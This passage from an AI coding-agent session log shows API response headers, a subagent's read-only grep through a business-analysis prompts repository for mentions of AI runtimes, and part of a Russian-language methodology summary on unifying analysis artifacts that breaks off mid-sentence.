\"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:58.182Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:58.185Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:58.189Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:58.195Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:58.198Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:58.201Z] [STDOUT]     \"cf-ray\": \"a4295f0d2d0f29ad-FRA\",\n[2026-09-29T07:45:58.204Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:58.210Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:58.213Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:58.216Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:58.220Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:58 GMT\",\n[2026-09-29T07:45:58.222Z] [STDOUT]     \"request-id\": \"req_011CfXMoA3ojHaEFwxPPmbbE\",\n[2026-09-29T07:45:58.226Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:58.230Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:58.232Z] [STDOUT]     traceresponse: \"00-5909956041f450e7463a3e2fed3c2142-a8d34ab732cf4eda-01\",\n[2026-09-29T07:45:58.236Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:58.239Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:58.244Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:58.247Z] [STDOUT]   },\n[2026-09-29T07:45:58.250Z] [STDOUT]   durationMs: 805,\n[2026-09-29T07:45:58.253Z] [STDOUT] }\n[2026-09-29T07:45:58.257Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:58.262Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:58 GMT\",\n[2026-09-29T07:45:58.265Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:58.270Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:58.273Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:58.276Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:58.278Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:58.281Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:58.286Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:58.297Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:58.307Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:58.312Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:58.319Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:58.337Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:58.346Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:58.354Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:58.359Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:58.365Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:58.372Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:58.392Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:58.402Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:58.408Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:58.412Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:58.421Z] [STDOUT]   \"request-id\": \"req_011CfXMoA3ojHaEFwxPPmbbE\",\n[2026-09-29T07:45:58.427Z] [STDOUT]   \"traceresponse\": \"00-5909956041f450e7463a3e2fed3c2142-a8d34ab732cf4eda-01\",\n[2026-09-29T07:45:58.431Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:58.435Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:58.444Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:58.452Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:58.456Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:58.459Z] [STDOUT]   \"cf-ray\": \"a4295f0d2d0f29ad-FRA\",\n[2026-09-29T07:45:58.464Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:58.467Z] [STDOUT] [log_be45db] response parsed {\n[2026-09-29T07:45:58.470Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:58.475Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:58.479Z] [STDOUT]   body: X {\n[2026-09-29T07:45:58.481Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:58.484Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:58.487Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:58.490Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:58.493Z] [STDOUT]     },\n[2026-09-29T07:45:58.495Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:58.497Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:58.499Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:58.502Z] [STDOUT]   },\n[2026-09-29T07:45:58.505Z] [STDOUT]   durationMs: 805,\n[2026-09-29T07:45:58.510Z] [STDOUT] }\n[2026-09-29T07:45:58.934Z] [INFO] {\n[2026-09-29T07:45:58.934Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:58.934Z] [INFO]   \"message\": {\n[2026-09-29T07:45:58.934Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:58.934Z] [INFO]     \"id\": \"msg_011CfXMoATNCDykFQfSkzUzA\",\n[2026-09-29T07:45:58.934Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:58.934Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:58.934Z] [INFO]     \"content\": [\n[2026-09-29T07:45:58.934Z] [INFO]       {\n[2026-09-29T07:45:58.934Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:58.934Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:58.934Z] [INFO]         \"signature\": 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{\n[2026-09-29T07:46:01.214Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"message\": {\n[2026-09-29T07:46:01.214Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:01.214Z] [INFO]     \"id\": \"msg_011CfXMo7sLjVKqedPjq2nXG\",\n[2026-09-29T07:46:01.214Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:01.214Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:01.214Z] [INFO]     \"content\": [\n[2026-09-29T07:46:01.214Z] [INFO]       {\n[2026-09-29T07:46:01.214Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:01.214Z] [INFO]         \"id\": \"toolu_01WPasMniLC2ZPWsJq3cLiBF\",\n[2026-09-29T07:46:01.214Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:01.214Z] [INFO]         \"input\": {\n[2026-09-29T07:46:01.214Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && grep -rIn --exclude-dir=.git -iE \\\"\\\\bcline\\\\b|Claude Code|OpenAI Codex|hive-mind|SKILL\\\\.md|superpowers|claude\\\\.ai|chat\\\\.qwen|qwen\\\\.ai|Qwen Chat|web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441|GigaChat|\u0413\u0438\u0433\u0430\u0447\u0430\u0442|DeepSeek|Yandex|YandexGPT\\\" . | cut -c1-260 | head -50\",\n[2026-09-29T07:46:01.214Z] [INFO]           \"description\": \"Find runtime environment mentions\"\n[2026-09-29T07:46:01.214Z] [INFO]         },\n[2026-09-29T07:46:01.214Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:01.214Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:01.214Z] [INFO]         }\n[2026-09-29T07:46:01.214Z] [INFO]       }\n[2026-09-29T07:46:01.214Z] [INFO]     ],\n[2026-09-29T07:46:01.214Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:01.214Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:01.214Z] [INFO]       \"cache_creation_input_tokens\": 878,\n[2026-09-29T07:46:01.214Z] [INFO]       \"cache_read_input_tokens\": 77654,\n[2026-09-29T07:46:01.214Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:01.214Z] [INFO]         \"ephemeral_5m_input_tokens\": 878,\n[2026-09-29T07:46:01.214Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:01.214Z] [INFO]       },\n[2026-09-29T07:46:01.214Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:46:01.214Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:01.214Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:01.214Z] [INFO]     },\n[2026-09-29T07:46:01.214Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:01.214Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:01.214Z] [INFO]   },\n[2026-09-29T07:46:01.214Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"uuid\": \"79541c7a-30a6-4ffc-b81c-2bb7595517a0\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:01.208Z\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"request_id\": \"req_011CfXMo7J7hQsAwqwUN9rW1\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:01.214Z] [INFO] }\n[2026-09-29T07:46:01.227Z] [INFO] {\n[2026-09-29T07:46:01.227Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"description\": \"Running Find runtime environment mentions\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:01.227Z] [INFO]     \"total_tokens\": 79233,\n[2026-09-29T07:46:01.227Z] [INFO]     \"tool_uses\": 20,\n[2026-09-29T07:46:01.227Z] [INFO]     \"duration_ms\": 98914\n[2026-09-29T07:46:01.227Z] [INFO]   },\n[2026-09-29T07:46:01.227Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"uuid\": \"6edf9323-2a17-4944-9946-01f0f439d044\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:01.227Z] [INFO] }\n[2026-09-29T07:46:03.091Z] [INFO] {\n[2026-09-29T07:46:03.091Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:03.091Z] [INFO]   \"message\": {\n[2026-09-29T07:46:03.091Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:03.091Z] [INFO]     \"content\": [\n[2026-09-29T07:46:03.091Z] [INFO]       {\n[2026-09-29T07:46:03.091Z] [INFO]         \"tool_use_id\": \"toolu_01XvKvAewYZc1jRgU2tZPQ42\",\n[2026-09-29T07:46:03.091Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:03.091Z] [INFO]         \"content\": \"=== methodology-unification\\n## BLUF: \u0434\u0435\u0441\u044f\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n\\n1. **\u0415\u0434\u0438\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0411\u0410 \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435\u0442** \u2014 \u0435\u0441\u0442\u044c 368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n   \u0437\u043d\u0430\u043d\u0438\u044f, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u0442\u0430\u0442\u0443\u0441 \u0438\u043c\u0435\u044e\u0442 13 %, \u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0435 \u044f\u0434\u0440\u043e \u0411\u0410\\n   (\u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u043f\u0440\u043e\u0446\u0435\u0441\u0441 BCREQ) \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043b\u0435\u0436\u0438\u0442 \u0432 \u0441\u043f\u0438\u0446\u0435\\n   [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts) \u0441\u043e\\n   \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `draft`. \u0417\u0430\u043c\u0435\u0440:\\n   [`2026-09-07-ecosystem-knowledge-inventory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md).\\n2. **\u0424\u043e\u0440\u043c\u0430 \u0437\u043d\u0430\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u043d\u0435\u0442.** 13 \u0438\u0437 15 \u0446\u0435\u043d\u0442\u0440\u043e\u0432 \u043f\u0440\u0438\u0442\u044f\u0436\u0435\u043d\u0438\u044f\\n   \u0433\u0440\u0430\u0444\u0430 \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u044e\u0442 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0435 (\u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435, frontmatter, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\\n   ADR). BA-\u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u0435\u043d 1 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0425\u0430\u0431\u0430 \u0438\u0437 26.\\n3. **\u041d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432\u0432\u0435\u0440\u0445, \u0430 \u043d\u0435 \u0432\u043d\u0438\u0437.** Mango\\n   \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0425\u0430\u0431 81 \u0440\u0430\u0437, \u0425\u0430\u0431 \u043d\u0430 Mango \u2014 31. \u0421\u043f\u0438\u0446\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442 *\u0444\u043e\u0440\u043c\u0443* \u043e\u0442 \u0425\u0430\u0431\u0430,\\n   \u043d\u043e *\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0443\u044e \u043d\u043e\u0440\u043c\u0443* \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0441\u0430\u043c\u0430, \u0438 \u0425\u0430\u0431 \u0435\u0451 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442.\\n4. **\u0423 `clarify-engine-ai` \u0437\u043d\u0430\u043d\u0438\u0435 \u0435\u0441\u0442\u044c, \u0430 \u043a\u0430\u043d\u0430\u043b\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0442.** \u0421\u0441\u044b\u043b\u043e\u043a \u0441\\n   \u0425\u0430\u0431\u043e\u043c \u0438 Mango \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u0443 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 (1 \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u0440\u0435\u0431\u0440\u043e, 0 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0445, 53\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0431\u0435\u0437 frontmatter), \u043d\u043e \u0441\u043f\u043b\u043e\u0448\u043d\u043e\u0435 \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 53 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0434\u0430\u0451\u0442\\n   **8 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432, \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b\u0445 \u0432 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e** (\u0430\u0442\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f,\\n   decoding-lock, \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0438, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0446\u0438\u0442\u0430\u0442\u044b, \u0442\u0440\u0430\u0441\u0441\u0430 \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441,\\n   \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430, \u0441\u0442\u0430\u0442\u0443\u0441-\u043a\u0430\u043a-\u0433\u0435\u0439\u0442) \u0438 \u0435\u0449\u0451 9 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e \u0441\u043c\u0435\u0436\u043d\u044b\u0445; \u0432\u043d\u0435\\n   \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043e\u0441\u0442\u0430\u043b\u0441\u044f\\n   [`docs/CONCEPT.md`](https://github.com/G-Ivan-A/clarify-engine-ai/blob/main/docs/CONCEPT.md)\\n   \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u043f\u043e\u0438\u043c\u0451\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u043a \u0441\u043b\u043e\u044e `L0`.\\n   \u0420\u0430\u0437\u043c\u0435\u0442\u043a\u0430: \u00a75.3\\n   [\u0437\u0430\u043c\u0435\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md).\\n5. **\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0440\u0435\u0448\u0430\u044e\u0449\u0435\u0433\u043e \u0437\u0430\u0434\u0430\u0447\u0443 \u043a\u0430\u0440\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f, \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435\\n   \u043d\u0435\u0442.** \u0411\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u2014\\n   [RFC \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0411\u0410](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md)\\n   \u2014 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 `M0`\u2013`M4`, \u043d\u043e \u043d\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **\u0433\u0434\u0435 \u043c\u044b \u0441\u0435\u0439\u0447\u0430\u0441**;\\n   \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/20-taxonomy.md), \u00a71.\\n6. **\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u0443\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u0440\u0430\u043c\u043a\u0430.** Governance-\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e\\n   \u043a\u0430\u043a **\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0435\u043b\u044c\u0442**: \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u2192 \u0434\u0435\u043b\u044c\u0442\u0430 \u043e\u0442\u0440\u0430\u0441\u043b\u0438\\n   \u0418\u0422-\u0422\u0435\u043b\u0435\u043a\u043e\u043c \u2192 \u0434\u0435\u043b\u044c\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041a\u041a \u041c\u0430\u043d\u0433\u043e. Execution-\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0445\u0440\u0430\u043d\u0438\u0442 **\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439**\\n   (\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439) \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u2014 `SKILL.md`, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0434\u0435\u043b\u044c\u0442\u044b \u0443\u0436\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u044b.\\n7. **\u0410\u0433\u0435\u043d\u0442 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0434\u0435\u043b\u044c\u0442\u0443 \u0432 \u0440\u0430\u043d\u0442\u0430\u0439\u043c\u0435.** \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u044c\u0442 \u2014 \u0448\u0430\u0433\\n   \u0441\u0431\u043e\u0440\u043a\u0438 \u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c, \u0430 \u043d\u0435 \u0448\u0430\u0433 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f. \u041e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u2014\\n   [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/10-theory.md).\\n8. **\u041e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043e \u0433\u0435\u0439\u0442\u0430\u0445: \u043d\u0438 \u0442\u043e, \u043d\u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435.**\\n   \u0421\u0443\u0431\u0430\u0433\u0435\u043d\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u0441 \u0418\u0418-self-check, \u043d\u043e self-check \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e\\n   \u043a\u043b\u0430\u0441\u0441 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432; \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0437\u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n   \u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430 Mango: \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\u043e\u0433\u043e\u0432\u043e\u0440\u043e\u0447\u043d\u044b\u0439 `success` \u2014 2; \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0435\\n   RUN-0018 \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0435 \u0443\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043e\u0434\u0438\u043d \u0444\u0430\u043a\u0442\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u0435\u0444\u0435\u043a\u0442,\\n   \u0434\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0434\u043e \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u0432\\n   [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/30-decision-framework.md).\\n9. **\u041e\u0441\u044c \u00ab\u0421\u0440\u0435\u0434\u0430\u00bb \u0438 \u043e\u0441\u044c \u00ab\u041c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f\u00bb \u043e\u0440\u0442\u043e\u0433\u043e\u043d\u0430\u043b\u044c\u043d\u044b \u0438 \u043e\u0431\u0435 \u043d\u0443\u0436\u043d\u044b.**\\n   [RFC 